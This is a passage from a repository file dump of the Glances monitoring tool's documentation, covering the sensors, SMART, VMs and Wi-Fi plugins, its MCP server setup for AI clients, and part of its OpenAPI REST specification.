    "content": ".. _sensors:\n\nSensors\n=======\n\n*Availability: Linux*\n\n.. image:: ../_static/sensors.png\n\nGlances can display the sensors information using ``psutil``,\n``hddtemp`` and ``batinfo``:\n- motherboard and CPU temperatures\n- hard disk temperature\n- battery capacity\n\nLimit values and sensors alias names can be defined in the configuration\nfile under the ``[sensors]`` section.\n\nLimit can be defined for a specific sensor, a type of sensor or defineby the system\nthresholds (default behavor).\n\n.. code-block:: ini\n\n    [sensors]\n    # Sensors core thresholds (in Celsius...)\n    # By default values are grabbed from the system\n    # Overwrite thresholds for a specific sensor\n    temperature_core_Ambient_careful=45\n    temperature_core_Ambient_warning=65\n    temperature_core_Ambient_critical=80\n    temperature_core_Ambient_log=False\n    # Overwrite thresholds for a specific type of sensor\n    #temperature_core_careful=45\n    #temperature_core_warning=65\n    #temperature_core_critical=80\n    #alias=temp1:Motherboard 0,core 0:CPU Core 0\n\n.. note 1::\n    The support for multiple batteries is only available if\n    you have the batinfo Python lib installed on your system\n    because for the moment PSUtil only support one battery.\n\n.. note 2::\n    If a sensors has temperature and fan speed with the same name unit,\n    it is possible to alias it using:\n    alias=unitname_temperature_core_alias:Alias for temp,unitname_fan_speed_alias:Alias for fan speed\n\n.. note 3::\n    If a sensors has multiple identical features names (see #2280), then\n    Glances will add a suffix to the feature name.\n    For example, if you have one sensor with two Composite features, the\n    second one will be named Composite_1.\n\n.. note 4::\n    The plugin could crash on some operating system (FreeBSD) with the\n    TCP or UDP blackhole option > 0 (see issue #2106). In this case, you\n    should disable the sensors (--disable-plugin sensors or from the\n    configuration file)."
  },
  {
    "path": "docs/aoa/smart.rst",
    "content": ".. _smart:\n\nSMART\n=====\n\n*Availability: all but Mac OS*\n\n*Dependency: this plugin uses the optional pySMART Python lib*\n\nThis plugin is disable by default, please use the --enable-plugin smart option\nto enable it.\n\n.. image:: ../_static/smart.png\n\nGlances displays all the SMART attributes.\n\nHow to read the information:\n\n- The first line display the name and model of the device\n- The first column is the SMART attribute name\n- The second column is the SMART attribute raw value\n\n.. warning::\n    This plugin needs administrator rights. Please run Glances as root/admin.\n\nAlso, you can hide driver using regular expressions.\n\nTo hide device you should use the hide option:\n\n.. code-block:: ini\n\n    [smart]\n    hide=.*Hide_this_device.*\n\nIt is also possible to configure a white list of devices to display.\nExample to show only the specified drive:\n\n.. code-block:: ini\n\n     [smart]\n     show=.*Show_this_device.*\n\nFiltering is based on regular expression. Please be sure that your regular\nexpression works as expected. You can use an online tool like `regex101`_ in\norder to test your regular expression.\n\n.. _regex101: https://regex101.com/\n\nYou can also hide attributes, for example Self-tests, Errors, etc. Use a comma separated list.\n\n.. code-block:: ini\n\n    [smart]\n    hide_attributes=attribute_name1,attribute_name2\n"
  },
  {
    "path": "docs/aoa/vms.rst",
    "content": ".. _vms:\n\nVMs\n===\n\nGlances ``vms`` plugin is designed to display stats about VMs ran on the host.\n\nIt's actually support two engines: `Multipass` and `Virsh`.\n\nNo Python dependency is needed but Multipass and Virsh binary should be available:\n- multipass should be executable from /snap/bin/multipass\n- virsh should be executable from /usr/bin/virsh\n\nNote: CPU information is not availble for Multipass VM. Load is not available for Virsh VM.\n\nConfiguration file options:\n\n.. code-block:: ini\n\n    [vms]\n    disable=True\n    # Define the maximum VMs size name (default is 20 chars)\n    max_name_size=20\n    # By default, Glances only display running VMs with states:\n    # 'Running', 'Paused', 'Starting' or 'Restarting'\n    # Set the following key to True to display all VMs regarding their states\n    all=False\n\nYou can use all the variables ({{foo}}) available in the containers plugin.\n\nFiltering (for hide or show) is based on regular expression. Please be sure that your regular\nexpression works as expected. You can use an online tool like `regex101`_ in\norder to test your regular expression.\n\n.. _Multipass: https://canonical.com/multipass\n.. _Virsh: https://www.libvirt.org/manpages/virsh.html\n"
  },
  {
    "path": "docs/aoa/wifi.rst",
    "content": ".. _wifi:\n\nWi-Fi\n=====\n\n*Availability: Linux (with an /proc/net/wireless file) only*\n\n.. image:: ../_static/wifi.png\n\nIn the configuration file, you can define signal quality thresholds:\n\n- ``\"Poor\"`` quality is between -100 and -85dBm\n- ``\"Good\"`` quality between -85 and -60dBm\n- ``\"Excellent\"`` between -60 and -40dBm\n\nThresholds for the signal quality can be defined in the configuration file:\n\n.. code-block:: ini\n\n    [wifi]\n    disable=False\n    careful=-65\n    warning=-75\n    critical=-85\n\nYou can disable this plugin using the ``--disable-plugin wifi`` option or by\nhitting the ``W`` key from the user interface.\n"
  },
  {
    "path": "docs/api/mcp.rst",
    "content": ".. _api_mcp:\n\nMCP (Model Context Protocol) server\n=====================================\n\nGlances can expose its system monitoring data through a\n`Model Context Protocol <https://modelcontextprotocol.io>`_ (MCP) server,\nallowing AI assistants (Claude, Cursor, VS Code Copilot, …) to query\nreal-time metrics and generate structured analyses directly from their chat\ninterface.\n\nThe MCP server is mounted alongside the standard RESTful API when the web\nserver is started with the ``--enable-mcp`` flag.  It uses **Server-Sent\nEvents** (SSE) as its transport layer, which means any MCP-compatible client\nthat supports SSE can connect to it.\n\nRequirements\n------------\n\nThe ``mcp`` Python package must be installed:\n\n.. code-block:: bash\n\n    pip install 'glances[mcp]'\n\nStart the MCP server\n--------------------\n\nAdd ``--enable-mcp`` to any Glances web-server command:\n\n.. code-block:: bash\n\n    glances -w --enable-mcp\n\nThe MCP server is then reachable at ``http://localhost:61208/mcp``.\n\nThe SSE endpoint used by MCP clients is:\n\n.. code-block:: text\n\n    http://localhost:61208/mcp/sse\n\nTo change the mount path (default: ``/mcp``):\n\n.. code-block:: bash\n\n    glances -w --enable-mcp --mcp-path /monitoring/mcp\n\nAuthentication\n--------------\n\nThe MCP endpoint inherits the authentication policy of the web server.\nWhen Glances is started with ``--password``, every MCP request must carry\nvalid credentials — either **HTTP Basic Auth** or a **JWT Bearer token**\n(see :ref:`api_restful` for how to obtain a JWT token).\n\nWhen no password is configured the MCP endpoint is open.\n\nResources\n---------\n\nMCP resources are read-only data sources that a client can list and read.\n\nStatic resources\n~~~~~~~~~~~~~~~~\n\n============================================ ================================================\nURI                                          Description\n============================================ ================================================\n``glances://plugins``                        JSON list of all active plugin names\n``glances://stats``                          JSON object of all plugins' current statistics\n``glances://limits``                         JSON object of alert thresholds for all plugins\n============================================ ================================================\n\nResource templates (parameterised)\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n============================================== =====================================================\nURI template                                   Description\n============================================== =====================================================\n``glances://stats/{plugin}``                   Current statistics for one plugin\n``glances://stats/{plugin}/history``           Historical time-series for one plugin\n``glances://limits/{plugin}``                  Alert thresholds for one plugin\n============================================== =====================================================\n\nReplace ``{plugin}`` with any name returned by ``glances://plugins``\n(e.g. ``cpu``, ``mem``, ``network``, ``processlist``, …).\n\nPrompts\n-------\n\nMCP prompts are pre-built analysis templates that embed live Glances data\ninto a system prompt ready to be sent to an LLM.\n\n+-----------------------------+-----------------------------------------------------+-------------------+\n| Prompt name                 | Description                                         | Parameters        |\n+=============================+=====================================================+===================+\n| ``system_health_summary``   | Overall health report: CPU, memory, swap,           | *(none)*          |\n|                             | load, filesystems, network                          |                   |\n+-----------------------------+-----------------------------------------------------+-------------------+\n| ``alert_analysis``          | Analysis of active alerts with remediation steps    | ``level``         |\n|                             |                                                     | (``warning`` /    |\n|                             |                                                     | ``critical`` /    |\n|                             |                                                     | ``all``)          |\n+-----------------------------+-----------------------------------------------------+-------------------+\n| ``top_processes_report``    | Report on the most CPU-intensive processes          | ``nb``            |\n|                             |                                                     | (integer,         |\n|                             |                                                     | default ``10``)   |\n+-----------------------------+-----------------------------------------------------+-------------------+\n| ``storage_health``          | Disk usage and I/O statistics analysis              | *(none)*          |\n+-----------------------------+-----------------------------------------------------+-------------------+\n\nConnect an MCP client\n---------------------\n\nClaude Desktop\n~~~~~~~~~~~~~~\n\nAdd the following entry to your ``claude_desktop_config.json``\n(``~/Library/Application Support/Claude/claude_desktop_config.json`` on macOS,\n``%APPDATA%\\Claude\\claude_desktop_config.json`` on Windows):\n\n.. code-block:: json\n\n    {\n      \"mcpServers\": {\n        \"glances\": {\n          \"url\": \"http://localhost:61208/mcp/sse\"\n        }\n      }\n    }\n\nFor a password-protected server, use the ``headers`` field:\n\n.. code-block:: json\n\n    {\n      \"mcpServers\": {\n        \"glances\": {\n          \"url\": \"http://localhost:61208/mcp/sse\",\n          \"headers\": {\n            \"Authorization\": \"Basic <base64(user:password)>\"\n          }\n        }\n      }\n    }\n\nPython MCP client (programmatic access)\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n.. code-block:: python\n\n    import asyncio\n    from mcp.client.sse import sse_client\n    from mcp import ClientSession\n\n    async def main():\n        async with sse_client(\"http://localhost:61208/mcp/sse\") as (read, write):\n            async with ClientSession(read, write) as session:\n                await session.initialize()\n\n                # List available resources\n                resources = await session.list_resources()\n                print([str(r.uri) for r in resources.resources])\n\n                # Read CPU stats\n                from pydantic import AnyUrl\n                result = await session.read_resource(AnyUrl(\"glances://stats/cpu\"))\n                print(result.contents[0].text)\n\n                # Run a health-summary prompt\n                prompt = await session.get_prompt(\"system_health_summary\")\n                print(prompt.messages[0].content.text[:200])\n\n    asyncio.run(main())\n\n.. seealso::\n\n   :ref:`api_restful` — RESTful/JSON API documentation\n\n   :ref:`cmds` — full command-line reference\n"
  },
  {
    "path": "docs/api/openapi.json",
    "content": "{\"openapi\": \"3.0.2\", \"info\": {\"title\": \"FastAPI\", \"version\": \"0.1.0\"}, \"paths\": {\"/api/4/status\": {\"get\": {\"summary\": \" Api Status\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn a 200 status code.\\nThis entry point should be used to check the API health.\\n\\nSee related issue:  Web server health check endpoint #1988\", \"operationId\": \"_api_status_api_4_status_get\", \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}}}, \"head\": {\"summary\": \" Api Status\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn a 200 status code.\\nThis entry point should be used to check the API health.\\n\\nSee related issue:  Web server health check endpoint #1988\", \"operationId\": \"_api_status_api_4_status_head\", \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}}}}, \"/api/4/events/clear/warning\": {\"post\": {\"summary\": \" Events Clear Warning\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn a 200 status code.\\n\\nIt's a post message to clean warning events\", \"operationId\": \"_events_clear_warning_api_4_events_clear_warning_post\", \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}}}}, \"/api/4/events/clear/all\": {\"post\": {\"summary\": \" Events Clear All\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn a 200 status code.\\n\\nIt's a post message to clean all events\", \"operationId\": \"_events_clear_all_api_4_events_clear_all_post\", \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}}}}, \"/api/4/processes/extended/disable\": {\"post\": {\"summary\": \" Api Disable Extended Processes\", \"description\": \"Glances API RESTful implementation.\\n\\nDisable extended process stats\\nHTTP/200 if OK\\nHTTP/400 if PID is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_disable_extended_processes_api_4_processes_extended_disable_post\", \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}}}}, \"/api/4/processes/extended/{pid}\": {\"post\": {\"summary\": \" Api Set Extended Processes\", \"description\": \"Glances API RESTful implementation.\\n\\nSet the extended process stats for the given PID\\nHTTP/200 if OK\\nHTTP/400 if PID is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_set_extended_processes_api_4_processes_extended__pid__post\", \"parameters\": [{\"name\": \"pid\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Pid\"}}], \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}, \"422\": {\"description\": \"Validation Error\", \"content\": {\"application/json\": {\"schema\": {\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}, \"/api/4/config\": {\"get\": {\"summary\": \" Api Config\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON representation of the Glances configuration file\\nHTTP/200 if OK\\nHTTP/404 if others error\", \"operationId\": \"_api_config_api_4_config_get\", \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}}}}, \"/api/4/config/{section}\": {\"get\": {\"summary\": \" Api Config Section\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON representation of the Glances configuration section\\nHTTP/200 if OK\\nHTTP/400 if item is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_config_section_api_4_config__section__get\", \"parameters\": [{\"name\": \"section\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Section\"}}], \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}, \"422\": {\"description\": \"Validation Error\", \"content\": {\"application/json\": {\"schema\": {\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}, \"/api/4/config/{section}/{item}\": {\"get\": {\"summary\": \" Api Config Section Item\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON representation of the Glances configuration section/item\\nHTTP/200 if OK\\nHTTP/400 if item is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_config_section_item_api_4_config__section___item__get\", \"parameters\": [{\"name\": \"section\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Section\"}}, {\"name\": \"item\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Item\"}}], \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}, \"422\": {\"description\": \"Validation Error\", \"content\": {\"application/json\": {\"schema\": {\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}, \"/api/4/args\": {\"get\": {\"summary\": \" Api Args\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON representation of the Glances command line arguments\\nHTTP/200 if OK\\nHTTP/404 if others error\", \"operationId\": \"_api_args_api_4_args_get\", \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}}}}, \"/api/4/args/{item}\": {\"get\": {\"summary\": \" Api Args Item\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON representation of the Glances command line arguments item\\nHTTP/200 if OK\\nHTTP/400 if item is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_args_item_api_4_args__item__get\", \"parameters\": [{\"name\": \"item\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Item\"}}], \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}, \"422\": {\"description\": \"Validation Error\", \"content\": {\"application/json\": {\"schema\": {\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}, \"/api/4/help\": {\"get\": {\"summary\": \" Api Help\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the help data or 404 error.\", \"operationId\": \"_api_help_api_4_help_get\", \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}}}}, \"/api/4/all\": {\"get\": {\"summary\": \" Api All\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON representation of all the plugins\\nHTTP/200 if OK\\nHTTP/400 if plugin is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_all_api_4_all_get\", \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}}}}, \"/api/4/all/limits\": {\"get\": {\"summary\": \" Api All Limits\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON representation of all the plugins limits\\nHTTP/200 if OK\\nHTTP/400 if plugin is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_all_limits_api_4_all_limits_get\", \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}}}}, \"/api/4/all/views\": {\"get\": {\"summary\": \" Api All Views\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON representation of all the plugins views\\nHTTP/200 if OK\\nHTTP/400 if plugin is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_all_views_api_4_all_views_get\", \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}}}}, \"/api/4/pluginslist\": {\"get\": {\"summary\": \" Api Plugins\", \"description\": \"Glances API RESTFul implementation.\\n\\n@api {get} /api/%s/pluginslist Get plugins list\\n@apiVersion 2.0\\n@apiName pluginslist\\n@apiGroup plugin\\n\\n@apiSuccess {String[]} Plugins list.\\n\\n@apiSuccessExample Success-Response:\\n    HTTP/1.1 200 OK\\n    [\\n       \\\"load\\\",\\n       \\\"help\\\",\\n       \\\"ip\\\",\\n       \\\"memswap\\\",\\n       \\\"processlist\\\",\\n       ...\\n    ]\\n\\n @apiError Cannot get plugin list.\\n\\n @apiErrorExample Error-Response:\\n    HTTP/1.1 404 Not Found\", \"operationId\": \"_api_plugins_api_4_pluginslist_get\", \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}}}}, \"/api/4/serverslist\": {\"get\": {\"summary\": \" Api Servers List\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON representation of the servers list (for browser mode)\\nHTTP/200 if OK\", \"operationId\": \"_api_servers_list_api_4_serverslist_get\", \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}}}}, \"/api/4/processes/extended\": {\"get\": {\"summary\": \" Api Get Extended Processes\", \"description\": \"Glances API RESTful implementation.\\n\\nGet the extended process stats (if set before)\\nHTTP/200 if OK\\nHTTP/400 if PID is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_get_extended_processes_api_4_processes_extended_get\", \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}}}}, \"/api/4/processes/{pid}\": {\"get\": {\"summary\": \" Api Get Processes\", \"description\": \"Glances API RESTful implementation.\\n\\nGet the process stats for the given PID\\nHTTP/200 if OK\\nHTTP/400 if PID is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_get_processes_api_4_processes__pid__get\", \"parameters\": [{\"name\": \"pid\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Pid\"}}], \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}, \"422\": {\"description\": \"Validation Error\", \"content\": {\"application/json\": {\"schema\": {\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}, \"/api/4/{plugin}\": {\"get\": {\"summary\": \" Api\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON representation of a given plugin\\nHTTP/200 if OK\\nHTTP/400 if plugin is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_api_4__plugin__get\", \"parameters\": [{\"name\": \"plugin\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Plugin\"}}], \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}, \"422\": {\"description\": \"Validation Error\", \"content\": {\"application/json\": {\"schema\": {\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}, \"/api/4/{plugin}/history\": {\"get\": {\"summary\": \" Api History\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON representation of a given plugin history\\nLimit to the last nb items (all if nb=0)\\nHTTP/200 if OK\\nHTTP/400 if plugin is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_history_api_4__plugin__history_get\", \"parameters\": [{\"name\": \"plugin\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Plugin\"}}, {\"name\": \"nb\", \"in\": \"query\", \"required\": false, \"schema\": {\"type\": \"integer\", \"default\": 0, \"title\": \"Nb\"}}], \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}, \"422\": {\"description\": \"Validation Error\", \"content\": {\"application/json\": {\"schema\": {\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}, \"/api/4/{plugin}/history/{nb}\": {\"get\": {\"summary\": \" Api History\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON representation of a given plugin history\\nLimit to the last nb items (all if nb=0)\\nHTTP/200 if OK\\nHTTP/400 if plugin is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_history_api_4__plugin__history__nb__get\", \"parameters\": [{\"name\": \"plugin\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Plugin\"}}, {\"name\": \"nb\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"integer\", \"title\": \"Nb\"}}], \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}, \"422\": {\"description\": \"Validation Error\", \"content\": {\"application/json\": {\"schema\": {\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}, \"/api/4/{plugin}/top/{nb}\": {\"get\": {\"summary\": \" Api Top\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON representation of a given plugin limited to the top nb items.\\nIt is used to reduce the payload of the HTTP response (example: processlist).\\n\\nHTTP/200 if OK\\nHTTP/400 if plugin is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_top_api_4__plugin__top__nb__get\", \"parameters\": [{\"name\": \"plugin\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Plugin\"}}, {\"name\": \"nb\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"integer\", \"title\": \"Nb\"}}], \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}, \"422\": {\"description\": \"Validation Error\", \"content\": {\"application/json\": {\"schema\": {\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}, \"/api/4/{plugin}/limits\": {\"get\": {\"summary\": \" Api Limits\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON limits of a given plugin\\nHTTP/200 if OK\\nHTTP/400 if plugin is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_limits_api_4__plugin__limits_get\", \"parameters\": [{\"name\": \"plugin\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Plugin\"}}], \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}, \"422\": {\"description\": \"Validation Error\", \"content\": {\"application/json\": {\"schema\": {\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}, \"/api/4/{plugin}/views\": {\"get\": {\"summary\": \" Api Views\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON views of a given plugin\\nHTTP/200 if OK\\nHTTP/400 if plugin is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_views_api_4__plugin__views_get\", \"parameters\": [{\"name\": \"plugin\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Plugin\"}}], \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}, \"422\": {\"description\": \"Validation Error\", \"content\": {\"application/json\": {\"schema\": {\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}, \"/api/4/{plugin}/{item}\": {\"get\": {\"summary\": \" Api Item\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON representation of the couple plugin/item\\nHTTP/200 if OK\\nHTTP/400 if plugin is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_item_api_4__plugin___item__get\", \"parameters\": [{\"name\": \"plugin\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Plugin\"}}, {\"name\": \"item\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Item\"}}], \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}, \"422\": {\"description\": \"Validation Error\", \"content\": {\"application/json\": {\"schema\": {\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}, \"/api/4/{plugin}/{item}/views\": {\"get\": {\"summary\": \" Api Item Views\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON view representation of the couple plugin/item\\nHTTP/200 if OK\\nHTTP/400 if plugin is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_item_views_api_4__plugin___item__views_get\", \"parameters\": [{\"name\": \"plugin\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Plugin\"}}, {\"name\": \"item\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Item\"}}], \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}, \"422\": {\"description\": \"Validation Error\", \"content\": {\"application/json\": {\"schema\": {\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}, \"/api/4/{plugin}/{item}/history\": {\"get\": {\"summary\": \" Api Item History\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON representation of the couple plugin/history of item\\nHTTP/200 if OK\\nHTTP/400 if plugin is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_item_history_api_4__plugin___item__history_get\", \"parameters\": [{\"name\": \"plugin\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Plugin\"}}, {\"name\": \"item\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Item\"}}, {\"name\": \"nb\", \"in\": \"query\", \"required\": false, \"schema\": {\"type\": \"integer\", \"default\": 0, \"title\": \"Nb\"}}], \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}, \"422\": {\"description\": \"Validation Error\", \"content\": {\"application/json\": {\"schema\": {\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}, \"/api/4/{plugin}/{item}/history/{nb}\": {\"get\": {\"summary\": \" Api Item History\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON representation of the couple plugin/history of item\\nHTTP/200 if OK\\nHTTP/400 if plugin is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_item_history_api_4__plugin___item__history__nb__get\", \"parameters\": [{\"name\": \"plugin\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Plugin\"}}, {\"name\": \"item\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Item\"}}, {\"name\": \"nb\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"integer\", \"title\": \"Nb\"}}], \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}, \"422\": {\"description\": \"Validation Error\", \"content\": {\"application/json\": {\"schema\": {\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}, \"/api/4/{plugin}/{item}/description\": {\"get\": {\"summary\": \" Api Item Description\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON representation of the couple plugin/item description\\nHTTP/200 if OK\\nHTTP/400 if plugin is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_item_description_api_4__plugin___item__description_get\", \"parameters\": [{\"name\": \"plugin\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Plugin\"}}, {\"name\": \"item\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Item\"}}], \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}, \"422\": {\"description\": \"Validation Error\", \"content\": {\"application/json\": {\"schema\": {\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}, \"/api/4/{plugin}/{item}/unit\": {\"get\": {\"summary\": \" Api Item Unit\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON representation of the couple plugin/item unit\\nHTTP/200 if OK\\nHTTP/400 if plugin is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_item_unit_api_4__plugin___item__unit_get\", \"parameters\": [{\"name\": \"plugin\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Plugin\"}}, {\"name\": \"item\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Item\"}}], \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}, \"422\": {\"description\": \"Validation Error\", \"content\": {\"application/json\": {\"schema\": {\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}, \"/api/4/{plugin}/{item}/value/{value}\": {\"get\": {\"summary\": \" Api Value\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the process stats (dict) for the given item=value\\nHTTP/200 if OK\\nHTTP/400 if plugin is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_value_api_4__plugin___item__value__value__get\", \"parameters\": [{\"name\": \"plugin\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Plugin\"}}, {\"name\": \"item\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Item\"}}, {\"name\": \"value\", \"in\": \"path\", \"required\": true, \"schema\": {\"anyOf\": [{\"type\": \"string\"}, {\"type\": \"integer\"}, {\"type\": \"number\"}], \"title\": \"Value\"}}], \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}, \"422\": {\"description\": \"Validation Error\", \"content\": {\"application/json\": {\"schema\": 